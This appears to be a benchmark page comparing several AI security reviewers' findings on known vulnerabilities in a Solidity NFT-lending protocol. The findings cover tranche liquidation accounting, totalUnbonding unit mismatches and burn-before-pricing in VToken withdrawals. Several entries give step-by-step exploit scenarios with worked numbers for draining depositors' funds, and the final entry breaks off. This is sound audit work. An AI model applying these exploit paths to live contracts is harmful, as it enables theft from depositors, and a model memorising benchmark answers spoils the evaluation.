Compute the queued underlying entitlement before burning, using the original requested asset amount and pre-withdrawal exchange rate. Track pending liabilities in consistent asset units and subtract those liabilities from totalAssets. Claim must never pay more than the correctly valued entitlement.
-
Junior depositor funds mistakenly sent to senior depositors voyage-5 · 5 writeups Critical
V12
Covered liquidations still consume junior liquidity
contracts/voyage/facets/LoanFacet.sol:409Predicted severity: High- Root cause
-
The covered-debt branch in
liquidatefails to clearparam.remaningDebt. The junior backstop treats an already-funded installment as an outstanding shortfall. - Impact
-
Liquidation needlessly consumes junior liquidity and transfers it to the senior tranche even for fully covered installments. Repeating qualifying liquidations can exhaust junior backing and reduce the value or availability of junior depositors' claims.
- Description
-
liquidateinitializesparam.remaningDebtto the installment principal before comparing the collateral proceeds against that debt. When discounted collateral proceeds cover the installment, theelsebranch refunds their excess to the vault but never setsparam.remaningDebtto zero. The subsequent junior-tranche branch therefore still transfers up to an entire installment of junior assets into the diamond and adds it toreceivedAmount. Both the collateral-funded installment and this unnecessary junior contribution are sent to the senior deposit token. This occurs even when collateral proceeds exactly equal the installment and no actual shortfall exists.
Pashov (Codex GPT-6 Sol high)
Liquidation charges junior tranche after NFT sale already covers debt
audit/contracts/voyage/facets/LoanFacet.sol:454Predicted severity: High- Root cause
-
The full-coverage branch at lines 456-461 omits setting param.remaningDebt to zero before the junior-tranche shortfall branch.
- Impact
-
Junior depositors lose principal to the senior tranche even though the liquidation sale fully covered the loan.
- Description
-
When discounted NFT proceeds exceed principal, liquidate refunds the excess but leaves remainingDebt at its initial full-debt value, then charges the junior tranche for that same debt.
- Exploit scenario
-
For an 80-unit debt and 90-unit discounted sale, the code refunds 10 units but retains remaningDebt=80, then transfers up to 80 more units from junior reserves.
- Recommendation
-
Set remaningDebt to zero when sale proceeds cover totalDebt and derive junior write-down only from the actual unpaid principal.
Devin Security (Deep)
Liquidation recovers only one installment, refunds the rest of the collateral value to the defaulting borrower and always charges the junior tranche
contracts/voyage/facets/LoanFacet.sol:407Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A borrower who deliberately defaults and liquidates their own loan keeps the NFT for roughly two installments, while lenders in the senior and junior tranches absorb the rest of the principal as a loss.
##### What's wrong
This is a loan accounting error in
LoanFacet.liquidate. It treats the debt to recover asloan.pmt.principal(one installment) instead of the loan's outstanding principal.LibLoan.releaseLiendeletes the whole loan and hands every collateral NFT to the liquidator, any excess the liquidator paid over that single installment is refunded to the borrower's vault,remaningDebtis never zeroed in the refund branch so the junior tranche is debited one installment anyway, and because the loan was already deleted the laterLibLoan.repaysubtracts zero fromborrowState.totalDebt, so the written-off principal stays on the books.##### Who can do it
Mallory has a Voyage vault (vaults are created for users by an authorised protocol account, so she only needs to be onboarded like any customer). She calls
buyNowfor an NFT priced near the floorFwithnperinstallments, paying one installment of principal and interest. She skips the next payment and waits out the grace period. From a second wallet she callsliquidateon her own loan, payingF - discount, and receives the NFT. Her vault receivesF - discount - pmt.principalin WETH, which she withdraws withVaultFacet.transferReserve.Conditions:
- Mallory has a vault and a marketplace adapter that completes the purchase. In this snapshot
Vault.executeforwards no ETH, so real Seaport/LooksRare orders cannot settle; the registered marketplace on the testnets isMockMarketPlace. The theft requires the purchase path to deliver the NFT, which is the intended production design.-
nperis at least 3 (the testnet config is term 90 / epoch 30, sonper= 3).##### What they get
Mallory ends up owning the NFT worth
Fafter spending about2F/nperplus fees; the senior tranche, which lentF - F/nper, gets back only one installment from the liquidator plus one installment taken from the junior tranche. Every lender in both tranches loses, and the senior token'stotalDebtstill counts the dead loan, so later depositors and withdrawers price shares against money that no longer exists. She can repeat this for every loan she can open.##### How it works
1.
liquidatesetsparam.totalDebt = param.principal, one installment, andremaningDebt = totalDebt(contracts/voyage/facets/LoanFacet.sol:407-416).2.
LibLoan.releaseLiendeletes the loan and returns all collateral; the liquidator paysdiscountedFloorPrice * nand receives every NFT (LoanFacet.sol:421-445; contracts/voyage/libraries/LibLoan.sol:105-125).3. Because the payment exceeds one installment, the else branch transfers
discountedFloorPriceInTotal - totalDebtto the borrower's vault and leavesremaningDebtunchanged (LoanFacet.sol:454-461).4. Since
remaningDebt > 0, one installment is pulled from the junior token withtransferUnderlyingTo(LoanFacet.sol:464-486).5.
LibLoan.repayruns on the already-deleted loan, soborrowState.totalDebtanddebtData.totalPrincipalare reduced by zero and the senior tranche's outstanding principal is never written down (LoanFacet.sol:489-494; LibLoan.sol:228-292).6. The borrower withdraws the WETH refund from the vault via
transferReserve(contracts/voyage/facets/VaultFacet.sol:97-111). - Exploit scenario
-
Not specified.
- Recommendation
-
Compute the amount to recover as the loan's remaining principal and interest (
loan.principal - loan.totalPrincipalPaidplus unpaid interest), only refund the borrower what exceeds that full amount, setremaningDebtto zero when the liquidator covers the debt, and updateborrowState/debtDatawith the written-off principal before deleting the loan. To verify, add a test where a borrower withnper = 3defaults and self-liquidates, and assert the senior tranche'stotalAssetsandprincipalBalancereturn to their pre-loan values and the junior tranche balance is unchanged.
Claude Security (Sonnet 5.5)
liquidate() never clears remaningDebt when proceeds already cover the debt, so the junior tranche is charged a second time on every liquidation
contracts/voyage/facets/LoanFacet.sol:464Predicted severity: Medium- Root cause
-
Vulnerable symbol: liquidate
Preconditions: An overdue loan whose discounted collateral value exceeds the single-instalment debt; Junior tranche holds liquidity
Offending code:
if (param.remaningDebt > 0) {
- Impact
-
Every fully covered liquidation transfers an extra pmt.principal from junior depositors to the senior tranche; junior LPs lose funds even though no loss occurred.
- Description
-
remaningDebt is initialised to totalDebt and is only reduced in the 'debt greater than proceeds' branch; in the 'proceeds cover debt' branch it stays at totalDebt, so the later 'if (remaningDebt > 0)' block still pulls that amount from the junior deposit token.
- Exploit scenario
-
Floor 100, discounted 95, totalDebt 3.33. Liquidator pays 95, vault is refunded 91.67 and receivedAmount = 3.33. Because remaningDebt is still 3.33, the junior tranche also sends 3.33 to the diamond, and 6.67 reaches the senior token. A senior LP who is also a borrower or liquidator can trigger it on any overdue loan to move junior funds to the senior tranche. Static reasoning only.
- Recommendation
-
Set param.remaningDebt = 0 in the branch where proceeds cover the debt, and compute remaining debt from the real total debt.
Vercel Security Review
Fully covered liquidations still debit the junior insurance tranche
contracts/voyage/facets/LoanFacet.sol:457Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Liquidation initializes the shortfall to the entire debt** -
contracts/voyage/facets/LoanFacet.sol:415-416```solidity title="contracts/voyage/facets/LoanFacet.sol:415-416"
param.totalDebt = param.principal;
param.remaningDebt = param.totalDebt;
```
**2. Sufficient collateral proceeds do not clear that shortfall** -
contracts/voyage/facets/LoanFacet.sol:457-460```solidity title="contracts/voyage/facets/LoanFacet.sol:457-460"
uint256 refundAmount = discountedFloorPriceInTotal -
param.totalDebt;
IERC20(param.currency).transfer(param.vault, refundAmount);
param.receivedAmount -= refundAmount;
```
When proceeds cover the debt, this branch refunds excess but leaves
remaningDebtpositive.**3. Junior depositors pay the already-covered debt again** -
contracts/voyage/facets/LoanFacet.sol:469-472```solidity title="contracts/voyage/facets/LoanFacet.sol:469-472"
if (param.totalAssetFromJuniorTranche >= param.remaningDebt) {
IVToken(reserveData.juniorDepositTokenAddress)
.transferUnderlyingTo(address(this), param.remaningDebt);
param.juniorTrancheAmount = param.remaningDebt;
```
Any liquidation of an eligible default can unnecessarily consume junior funds. Borrowers aligned with senior depositors can deliberately trigger covered defaults to shift junior backing into the senior tranche.
- Exploit scenario
-
Not specified.
- Recommendation
-
Set remaining debt to zero when collateral proceeds cover it; debit junior funds only for a genuine uncovered balance.
-
Inconsistent usage of totalUnbonding leads to lost or under- utilized lender assets voyage-6 · 9 writeups Critical
V12
Pending shares are deducted as underlying assets
contracts/shared/tokenization/ERC4626.sol:128Predicted severity: High- Root cause
-
The child
totalAssets()implementations subtract share-denominatedtotalUnbondingfrom asset-denominated balances.ERC4626then treats that mixed-unit result as the backing for mint, deposit, and immediate redeem pricing. - Impact
-
Remaining shareholders can redeem against understated withdrawal liabilities, leaving queued claimants without sufficient backing. Below a one-to-one exchange rate, subtracting share counts can instead underflow or zero the asset balance used by deposit and withdrawal pricing, blocking these operations.
- Description
-
The conversion functions assume
totalAssets()is an asset-denominated net balance, but both deployed tranche implementations subtracttotalUnbonding, whichVTokenrecords in shares. Once assets per share differ from one, pending withdrawals are therefore reserved at the wrong amount. The inheritedredeemuses this incorrect net balance to price immediate asset transfers for remaining holders. With an exchange rate above one, it can pay out underlying already needed to satisfy queued withdrawal caps. This defect remains even if the separate burn-before-pricing problem inVToken.withdrawis corrected.
Codex Security (GPT-6 Sol)
Junior liquidation can strand funded withdrawal claims
contracts/voyage/tokenization/VToken.sol:70Predicted severity: Medium- Root cause
-
totalUnbondingaccumulates shares, butJuniorDepositToken.totalAssetssubtracts that integer from token assets. Liquidation may transfer that reported totalAssets, leaving only pending-claim assets. The partialclaimbranch callsconvertToShares, which divides by zero whentotalAssetsis zero. - Impact
-
A pending withdrawal remains locked until unrelated new assets arrive, despite the token still holding funds. Likelihood is medium under the stated prerequisites.
- Description
-
The junior token subtracts pending share count from asset balance as if it were an asset amount. A liquidation can consume reported available assets and leave a funded claim that cannot be converted because totalAssets becomes zero.
- Exploit scenario
-
contracts/voyage/tokenization/VToken.sol:70 to contracts/voyage/tokenization/VToken.sol:91
- Recommendation
-
Track pending withdrawal liabilities in asset units and settle claims without converting them through current live-share price.
Pashov (Claude Opus 5.5 high)
VToken.totalUnbonding is denominated in shares but subtracted from asset balances
contracts/voyage/tokenization/JuniorDepositToken.sol:7Predicted severity: High- Root cause
-
Mixing share and asset units in the same quantity.
- Impact
-
Incorrect share pricing; depositors can withdraw more/less than entitled; borrowers can borrow funds reserved for withdrawals; reverts (underflow) once totalUnbonding (shares) exceeds balance.
- Description
-
totalUnbondingis incremented with share amounts (totalUnbonding += _shares) yet it is subtracted from token balances in Junior/SeniorDepositToken.totalAssets, in buyNow's available-liquidity check and in utilizationRate. Once share price differs from 1:1 (interest accrual, losses), totalAssets, share prices, available liquidity and the interest rate all become wrong. The withdrawn assets of unbonding users remain partly counted in totalAssets, so remaining holders' shares are mispriced and can be redeemed for assets reserved for unbonding users (or vice-versa). - Exploit scenario
-
Junior tranche earns interest so 1 share = 2 assets. A user unbonds 100 shares (200 assets recorded as maxUnderlying) but totalAssets only deducts 100, so 100 assets are double counted: remaining holders' share price is inflated and they can withdraw part of the unbonding user's claim, leaving the latter unpaid.
- Recommendation
-
Track unbonding in assets (sum of maxUnderlying) and subtract that from balances.
Pashov (Codex GPT-6 Sol high)
Pending withdrawal shares are subtracted as asset units
audit/contracts/voyage/tokenization/JuniorDepositToken.sol:7Predicted severity: High- Root cause
-
The same storage counter is used as shares by VToken and as assets by accounting consumers.
- Impact
-
Share prices and available lending cash diverge from actual pending asset obligations; claims can become underfunded.
- Description
-
The tranche token totalAssets calculations and loan liquidity check subtract totalUnbonding as if it counted assets, although VToken updates it with share quantities.
- Exploit scenario
-
When share price exceeds one asset, 50 queued shares can represent more than 50 assets but the reserve withholds only 50 assets.
- Recommendation
-
Store pending asset liabilities separately or convert queued shares to assets at the appropriate snapshot price before each asset calculation.
Devin Security
Senior tranche value ignores outstanding loans, so late depositors take earlier lenders' repayments
contracts/voyage/tokenization/SeniorDepositToken.sol:8Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can deposit into the senior tranche while loans are outstanding at a heavily discounted share price, then take a large share of the repayments that belong to earlier lenders.
##### What's wrong
This is a share price miscalculation.
SeniorDepositToken.totalAssetsaddsprincipalBalance(address(asset)), butprincipalBalanceexpects an NFT collection address, not the currency. The lookup reads an unused storage slot and returns 0. Lent-out principal therefore vanishes from the tranche value. In addition,totalUnbondingcounts shares but is subtracted as if it were assets.##### Who can do it
Alice deposits 100 WETH into the senior tranche. Bob, a borrower, takes loans that move 90 WETH out to buy NFTs. The tranche now reports 10 WETH of assets for 100 shares. Mallory, any Ethereum address, deposits 10 WETH and receives 100 shares. When Bob repays 90 WETH, Mallory withdraws half of the pool.
- At least one loan is outstanding in the reserve. This is normal operation.
- Mallory holds some of the reserve currency. No account or role is needed.
##### What they get
In the example, Mallory turns 10 WETH into about 55 WETH. Alice loses about 45 WETH of her deposit. Lenders who withdraw while loans are outstanding are also underpaid, and their loss stays with the remaining shareholders. This affects every senior tranche.
##### How it works
1.
SeniorDepositToken.totalAssetscallsLoanFacet.principalBalance(address(asset))(SeniorDepositToken.sol:10-12).2.
principalBalanceuses its argument as a collection and reads_reserveData[currency].currencyand_borrowState[currency][...]. These are empty, so it returns 0 (LoanFacet.sol:539-551).3. When
buyNowmoves principal out withtransferUnderlyingTo(LoanFacet.sol:250), the balance drops and the share price drops with it.4. The public ERC4626
depositmints shares at this low price (shared/tokenization/ERC4626.sol:35-46, 117-126).5. Repayments go straight to the senior token (LoanFacet.sol:341-345), so the share price recovers and Mallory's shares gain value.
- Exploit scenario
-
Not specified.
- Recommendation
-
Store the collection address in the senior token at initialization and pass it to
principalBalance. Alternatively, have the diamond expose the outstanding principal by currency. SubtractconvertToAssets(totalUnbonding), or keep unbonding in asset units, instead of a raw share count. To check the fix, write a test that opens a loan, deposits as a second user, repays the loan, and confirms the second user can only withdraw about what they deposited.
Devin Security (Deep)
Senior deposit token prices shares without the principal on loan, letting anyone buy in cheap and exit after repayments
deployments/rinkeby/solcInputs/8683a2c35133ff397846d93c3e914ec7.json:197Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can deposit into the senior pool right after a loan is funded, when the share price is artificially low, and withdraw after repayments arrive, taking money that belongs to earlier depositors.
##### What's wrong
This is a wrong-key lookup that breaks share pricing.
SeniorDepositToken.totalAssetscallsLoanFacet.principalBalance(address(asset)), passing the WETH address where a collection address is expected, so the outstanding principal always reads 0 and the token's assets fall by the full loan amount whenever money is lent out. The source is identical to the deployed artifact12dd858c....##### Who can do it
Alice deposits 100 WETH and holds 100 shares. Bob borrows 66 WETH via
buyNow, sototalAssetsfalls to 34. Mallory, with no account, deposits 34 WETH and receives 100 shares.- At least one loan is outstanding in the pool.
- Mallory can call
LiquidityFacet.deposit(no access control) and exit viaredeemorwithdrawplusclaim(no cooldown enforced).##### What they get
When Bob repays 33 WETH, Mallory's shares are worth 50 WETH; she redeems and keeps 16 WETH of Alice's money. Repeating this around loans and repayments skims repaid principal from every passive depositor. Depositors who exit while loans are outstanding are underpaid, and if
totalUnbondingexceeds the token balancetotalAssetsunderflows and the token stops working.##### How it works
1.
buyNowmovesoutstandingPrincipalWETH out of the senior token (contracts/voyage/facets/LoanFacet.sol:250-253).2.
SeniorDepositToken.totalAssetsaddsprincipalBalance(address(asset))(contracts/voyage/tokenization/SeniorDepositToken.sol:8-14).3.
principalBalanceresolves the reserve by collection; the WETH key is empty and returns 0 (contracts/voyage/facets/LoanFacet.sol:539-552).4.
ERC4626.convertToSharesmints against the understatedtotalAssets(contracts/shared/tokenization/ERC4626.sol:117-126).5. Repayments return principal to the token (contracts/voyage/facets/LoanFacet.sol:341-345) and
redeempays out instantly (contracts/shared/tokenization/ERC4626.sol:90-109). - Exploit scenario
-
Not specified.
- Recommendation
-
Store the collection in the deposit token and call
principalBalance(collection), expresstotalUnbondingin assets, and fix the phantom-debt accounting first. Verify:seniorToken.totalAssets()andconvertToShares(1e18)must be unchanged immediately afterbuyNow.
Claude Security (Sonnet 5.5)
totalUnbonding (shares) is subtracted from asset balances, mispricing shares and allowing underflow reverts
contracts/voyage/tokenization/JuniorDepositToken.sol:8Predicted severity: Medium- Root cause
-
Vulnerable symbol: totalAssets
Preconditions: Share price different from 1 (accrued interest or a junior write-down); At least one pending withdrawal
Offending code:
return asset.balanceOf(address(this)) - totalUnbonding;
- Impact
-
When the share price is above 1, a withdrawal reserves fewer assets than it owes. Remaining holders' shares are overvalued, and they can call the inherited ERC4626.redeem (no queue) to take funds reserved for unbonding users. When the share price is below 1 (after a junior write-down), totalUnbonding can exceed the balance and totalAssets reverts with an underflow panic. That bricks deposit, mint, redeem and the conversion functions. It also bricks LoanFacet.liquidate, which calls juniorToken.totalAssets(), and buyNow's rate calculation, which does the same subtraction.
- Description
-
totalUnbonding is accumulated in share units (pushWithdraw adds _shares). totalAssets subtracts it from the underlying token balance, which is in asset units. The same mismatch exists in SeniorDepositToken.totalAssets (line 13), LibLiquidity.utilizationRate and DefaultReserveInterestRateStrategy.calculateBorrowRate. The units only agree when the share price is exactly 1.
- Exploit scenario
-
Share price 2: supply 100, balance 200, holders V and A each have 50 shares. A queues withdraw(100 assets), which burns 50 shares and adds 50 to totalUnbonding. totalAssets is now 200-50=150 instead of 100, so V redeems 50 shares for 150 (entitled to 100). Only 50 remains for A's 100 claim. For the DoS case, after a junior write-down leaves supply 100 and balance 50 (share price 0.5), the sole LP queues withdraw(50) and totalUnbonding becomes 100. totalAssets() then reverts, liquidations of bad debt revert, and no new junior deposits are possible.
- Recommendation
-
Track the unbonding reserve in asset units (the sum of maxUnderlying) and subtract that from the balance. Guard the subtraction against underflow. Update the strategy and utilization code to use the asset-denominated figure.
Claude Security (Opus 5.5)
Senior tranche totalAssets underflows once loans are out, so the senior tranche's deposits and withdrawals revert
contracts/voyage/tokenization/SeniorDepositToken.sol:13Predicted severity: Medium- Root cause
-
Vulnerable symbol: SeniorDepositToken.totalAssets
Preconditions: Senior liquidity has been lent out through buyNow, the normal operating state; A senior LP withdraws more shares than balance - totalUnbonding (easy because the share price is understated)
Offending code:
return underlyingBalance + outstandingPrincipal - totalUnbonding;
- Impact
-
All senior LP funds are frozen: deposits, withdrawals and partial claims revert. No new loans can be made either, because buyNow sees no available liquidity. The freeze can last as long as the outstanding loans, and any LP can trigger it, deliberately or by accident, in normal operation.
- Description
-
Line 13 subtracts totalUnbonding from an asset amount, but totalUnbonding counts shares (VToken.pushWithdraw:73 adds burned shares). The outstanding principal term is always 0 because the token's address is passed where a collection key is expected (SeniorDepositToken:10-11 -> LoanFacet.principalBalance:539-551). Once loans have taken out the senior balance, any LP withdrawal pushes more shares than assets into totalUnbonding. Checked arithmetic then underflows and reverts every call to totalAssets().
- Exploit scenario
-
Start with 100 WETH deposited 1:1 in the senior tranche. A borrower calls buyNow, which moves 90 WETH out (LoanFacet:250), leaving balance 10. principalBalance returns 0, so totalAssets is 10 for 100 shares, a price of 0.1. An LP with 50 shares calls withdraw(5) directly on the vToken or through LiquidityFacet.withdraw. previewWithdraw rounds up to 50 shares, which are burned and added to totalUnbonding (now 50). totalAssets() becomes 10 + 0 - 50 and reverts. From then on, deposit/mint (previewDeposit/previewMint), withdraw (previewWithdraw), maxWithdraw (also called by LiquidityFacet.withdraw:159), the partial-claim branch of claim() (convertToShares at VToken:102), and DataProviderFacet.getPoolData all revert. This lasts until repayments push the balance above totalUnbonding. Because totalUnbonding is in inflated share units, that can take most of the outstanding loan book. Separately, a borrower who draws exactly balance - totalUnbonding leaves totalAssets == 0 with supply > 0, so mulDivDown divides by zero and deposits revert.
- Recommendation
-
Keep totalUnbonding in asset units, or convert it with convertToAssets before subtracting. Pass the collection, not the currency, to principalBalance so outstanding principal is counted. Bound the subtraction (return 0 when the liabilities exceed the balance) so it cannot revert, and guard the share math against totalAssets()==0.
Vercel Security Review
Post-burn withdrawal valuation lets depositors claim other holders' assets
contracts/voyage/tokenization/VToken.sol:53Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Withdrawal destroys shares before valuing the queued claim** -
contracts/voyage/tokenization/VToken.sol:53-54```solidity title="contracts/voyage/tokenization/VToken.sol:53-54"
_burn(_owner, shares);
pushWithdraw(_owner, shares);
```
The new withdrawal flow reduces supply while leaving underlying assets unchanged.
**2. The burned shares receive an inflated asset valuation** -
contracts/voyage/tokenization/VToken.sol:71-73```solidity title="contracts/voyage/tokenization/VToken.sol:71-73"
unbondings[_user].shares += _shares;
unbondings[_user].maxUnderlying += convertToAssets(_shares);
totalUnbonding += _shares;
```
For a junior pool with 100 assets and 100 shares, withdrawing 49 shares records approximately 96 assets, since conversion now divides by 51 shares.
**3. Claim honors the inflated amount** -
contracts/voyage/tokenization/VToken.sol:96-99```solidity title="contracts/voyage/tokenization/VToken.sol:96-99"
if (availableLiquidity > maxClaimable) {
transferredAsset = maxClaimable;
transferredShares = unbondings[msg.sender].shares;
resetUnbondingPosition(msg.sender);
```
Line 107 transfers that amount to the caller. A depositor can withdraw and immediately claim nearly twice their stake at the expense of remaining holders.
- Exploit scenario
-
Not specified.
- Recommendation
-
Compute the queued underlying entitlement before burning, using the original requested asset amount and pre-withdrawal exchange rate. Track pending liabilities in consistent asset units and subtract those liabilities from totalAssets. Claim must never pay more than the correctly valued entitlement.
-
Share burn timing in Vtoken can lead to complete loss of funds voyage-7 · 9 writeups Critical
V12
Post-burn pricing inflates queued withdrawal payouts
contracts/shared/tokenization/ERC4626.sol:128Predicted severity: High- Root cause
-
VToken.withdrawmutates supply before calling the liveERC4626.convertToAssetspricing function. The withdrawal entitlement is not computed from the same pre-burn snapshot used to determine shares to burn. - Impact
-
A withdrawing shareholder can receive more underlying than their shares represented before the withdrawal, taking value from other shareholders. The sequence is reachable with a standard ERC20, a one-to-one initial exchange rate, and no donation or administrative action.
- Description
-
convertToAssetsvalues a share amount against the livetotalSupply()rather than a saved exchange-rate snapshot.VToken.withdrawburns the requested shares beforepushWithdrawcalls that conversion to set the pending asset cap. During that conversion, underlying assets have not been transferred or reserved, but the supply denominator has already decreased. Partial withdrawals therefore obtain a cap larger than the pre-withdrawal value of their burned shares.claimuses this inflated cap directly whenever sufficient underlying remains.
Codex Security (GPT-6 Sol)
A withdrawing depositor can claim other depositors' assets
contracts/voyage/tokenization/VToken.sol:41Predicted severity: Critical- Root cause
-
The withdrawal calculates shares before burning, but
pushWithdrawcallsconvertToAssetsafter_burn. That conversion divides by the smaller remaining supply.claimtransfers the recordedmaxUnderlyingif liquidity is available. - Impact
-
For 100 assets and 100 shares, withdrawing 49 shares can record a 96-asset claim, leaving four assets for other holders after claim. Likelihood is high under the stated prerequisites.
- Description
-
VToken.withdrawburns shares before computing the pending asset entitlement. The reduced supply inflatesmaxUnderlying, andclaimpays that inflated amount from the shared reserve. - Exploit scenario
-
contracts/voyage/tokenization/VToken.sol:41 to contracts/shared/tokenization/ERC4626.sol:128
- Recommendation
-
Record the requested asset entitlement before burning shares and settle at most the remaining recorded asset amount.
Pashov (Claude Opus 5.5 high)
VToken.withdraw computes unbonding maxUnderlying after burning shares, letting withdrawers claim far more than their share
contracts/voyage/tokenization/VToken.sol:41Predicted severity: Critical- Root cause
-
Order of operations:
_burnbeforeconvertToAssetsin pushWithdraw (and totalUnbonding updated after the conversion). - Impact
-
A depositor can claim assets belonging to other depositors; with a large share, a single withdrawal can drain the whole tranche.
- Description
-
VToken.withdraw burns the owner's shares first and only then calls pushWithdraw, which records
maxUnderlying += convertToAssets(_shares). At that moment totalSupply has already decreased while totalAssets() has not (totalUnbonding is only incremented afterwards), so the share price used is inflated. claim() later pays out maxUnderlying (capped by the contract balance). - Exploit scenario
-
Pool has 200 assets/200 shares split 100/100 between Alice and attacker. Attacker withdraws 100 assets: shares=100 are burned (supply 100, totalAssets 200) then convertToAssets(100)=200 is recorded as maxUnderlying. Attacker calls claim(): availableLiquidity=200 is not > 200, so else-branch transfers all 200 tokens. Alice's deposit is gone.
- Recommendation
-
Compute the asset amount before burning (use the
_amount/previewRedeem value computed before state changes), and account totalUnbonding in assets consistently.
Pashov (Codex GPT-6 Sol high)
Withdrawal claim is valued after share burn and can drain other depositors
audit/contracts/voyage/tokenization/VToken.sol:51Predicted severity: Critical- Root cause
-
withdraw burns shares at line 53 and pushWithdraw calls convertToAssets on those same shares at line 72 using the post-burn supply.
- Impact
-
A withdrawing depositor can claim more underlying than their shares represented before withdrawal, causing direct loss to other depositors and possible complete reserve depletion.
- Description
-
VToken burns withdrawal shares before it computes the user's queued asset entitlement. The smaller total supply raises convertToAssets(shares), so the queued claim can exceed the requested withdrawal and consume assets belonging to remaining holders.
- Exploit scenario
-
In a pool with 200 assets and 200 shares, an attacker owning 100 shares withdraws 99 assets. The burn leaves 101 shares, so pushWithdraw records floor(99*200/101)=196 assets. claim immediately pays 196 because cash 200 exceeds that cap, leaving only 4 assets for other holders.
- Recommendation
-
Calculate and record the asset entitlement before burning shares, or pass the requested asset amount into pushWithdraw, and keep pending claims in asset units consistently.
Devin Security
Withdraw records an inflated claimable amount, so any depositor can drain the tranche
contracts/voyage/tokenization/VToken.sol:41Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can deposit into a senior or junior tranche, withdraw, and claim almost all of the other depositors' money in the same block.
##### What's wrong
This is a share accounting bug.
VToken.withdrawburns the caller's shares first and only then callspushWithdraw, which prices those already-burned shares withconvertToAssets. Burning shrinks the total supply but leavestotalAssetsunchanged, so the recordedmaxUnderlyingis far larger than what the shares were worth.claimthen pays outmaxUnderlyingdirectly and has no cooldown check.##### Who can do it
Alice, a lender, has deposited 100 WETH into a tranche. Mallory, any Ethereum address, deposits 99 WETH and gets 99 shares. She calls
withdraw(99, ...)on the tranche token and thenclaim()in the same transaction.- The tranche token is deployed and holds other depositors' funds.
- Mallory holds enough of the underlying token to make a deposit somewhat smaller than the existing pool.
- No account, role or vault is needed.
deposit,withdrawandclaimare public.##### What they get
In the example,
withdrawrecordsmaxUnderlyingas 99 × 199 / 100 = 197.01 WETH.claimsends Mallory 197.01 WETH, so she takes about 98 WETH of Alice's 100 WETH. She can repeat this to empty both the senior and junior tranche of every reserve. Lenders lose their deposits.##### How it works
1. Mallory deposits into the tranche through the public ERC4626
deposit(shared/tokenization/ERC4626.sol:35) and gets shares at the normal price.2.
VToken.withdrawcomputessharesand then calls_burnbeforepushWithdraw(VToken.sol:46-54).3.
pushWithdrawsetsmaxUnderlying += convertToAssets(_shares)(VToken.sol:72). The supply has already dropped, andtotalUnbondinghas not grown yet, so the price per share is inflated.4.
claimchecks only that the contract balance exceedsmaxUnderlyingand transfers that amount. It never checkscooldownor the share value (VToken.sol:91-107).5. The balance that pays Mallory belongs to the other depositors.
- Exploit scenario
-
Not specified.
- Recommendation
-
Compute the asset value of the shares before burning them, for example
uint256 assets = convertToAssets(shares)before_burn, or simply record_amount. AddtotalUnbondingto the accounting before or atomically with the burn. Inclaim, cap the payout atconvertToAssets(unbondings[user].shares)(asmaximumClaimablealready does) and enforcecooldown. Fix the==typo inreduceUnbondingPosition. To check the fix, write a test with two depositors where one withdraws and claims. That depositor should receive no more than they deposited.
Devin Security (Deep)
VToken.withdraw values the unbonding position after burning shares, letting a depositor claim far more than their share
contracts/voyage/tokenization/VToken.sol:41Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any depositor into a senior or junior tranche can withdraw almost the whole tranche in a single transaction, taking every other lender's money.
##### What's wrong
This is a share-accounting error in an ERC4626-style vault.
VToken.withdrawburns the caller's shares first and only then converts those shares to an asset amount, so the conversion uses the reduced total supply against the unchanged asset balance. The resultingmaxUnderlyingis inflated bytotalSupply / (totalSupply - shares), andclaimpays it out immediately because the declaredcooldownis never checked.##### Who can do it
Alice and other lenders at Acme Capital hold 51 WETH worth of senior tranche shares. Mallory, anyone with a wallet, deposits 49 WETH into the same tranche directly on the vToken contract, then calls
withdraw(49 WETH)andclaim()in the same block.- The tranche has at least one other depositor.
- Mallory holds less than half of the tranche shares (she can repeat with smaller fractions if needed).
- No cooldown exists in
claim, so no waiting is required.##### What they get
In the example Mallory receives about 96 of the 100 WETH in the tranche for her 49 WETH deposit, leaving Alice and the other lenders with about 4 WETH. She can repeat the deposit and withdraw cycle to drain whatever is left. This applies to both tranches of every reserve.
##### How it works
1. Mallory calls
VToken.withdraw(assets, mallory, mallory)(contracts/voyage/tokenization/VToken.sol:41-57);previewWithdrawcomputes the honest share counts.2.
_burn(_owner, shares)at line 53 lowerstotalSupplytoS - swhileasset.balanceOfandtotalUnbondingare unchanged.3.
pushWithdraw(lines 70-74) setsmaxUnderlying += convertToAssets(s), which iss * totalAssets / (S - s)(ERC4626.sol:128-137), so withs = 49andS = 100she is credited 96 percent of the pool.4.
claim()(lines 91-108) has no time check; becausemaxUnderlyingis below the balance it transfers the full inflated amount to Mallory.The same code is embedded in the deployment artifact
deployments/rinkeby/solcInputs/8683a2c35133ff397846d93c3e914ec7.json. - Exploit scenario
-
Not specified.
- Recommendation
-
Compute the asset amount before burning: in
withdraw, recordassets = previewRedeem(shares)(or simply use the_amountargument) before_burn, and pass that value topushWithdrawinstead of recomputing withconvertToAssets. TracktotalUnbondingin asset units, or convert consistently, sototalAssetssubtracts a like-for-like value. Enforce thecooldowninclaim. Also overrideredeemso it goes through the same unbonding path. Verify with a test where two users deposit 51 and 49, the second withdraws 49 and claims, and assert the payout is at most 49.
Claude Security (Sonnet 5.5)
Unbonding position priced after the share burn, so claim() pays out far more than the shares are worth (drains a whole tranche)
contracts/voyage/tokenization/VToken.sol:72Predicted severity: Critical- Root cause
-
Vulnerable symbol: pushWithdraw
Preconditions: Tranche token holds liquidity that has not been lent out; Attacker can deposit an amount X below the existing liquidity H (flash loan is enough)
Offending code:
unbondings[_user].maxUnderlying += convertToAssets(_shares);
- Impact
-
Any unprivileged address can steal close to the entire liquidity of the junior or senior deposit token in one transaction (flash-loanable), leaving the other depositors with near-zero value.
- Description
-
VToken.withdraw burns the caller's shares and only then calls pushWithdraw, which records maxUnderlying = convertToAssets(_shares) against the already-reduced supply; claim() then pays that inflated maxUnderlying out of the pool, and any address can deposit into and withdraw from the tranche token directly.
- Exploit scenario
-
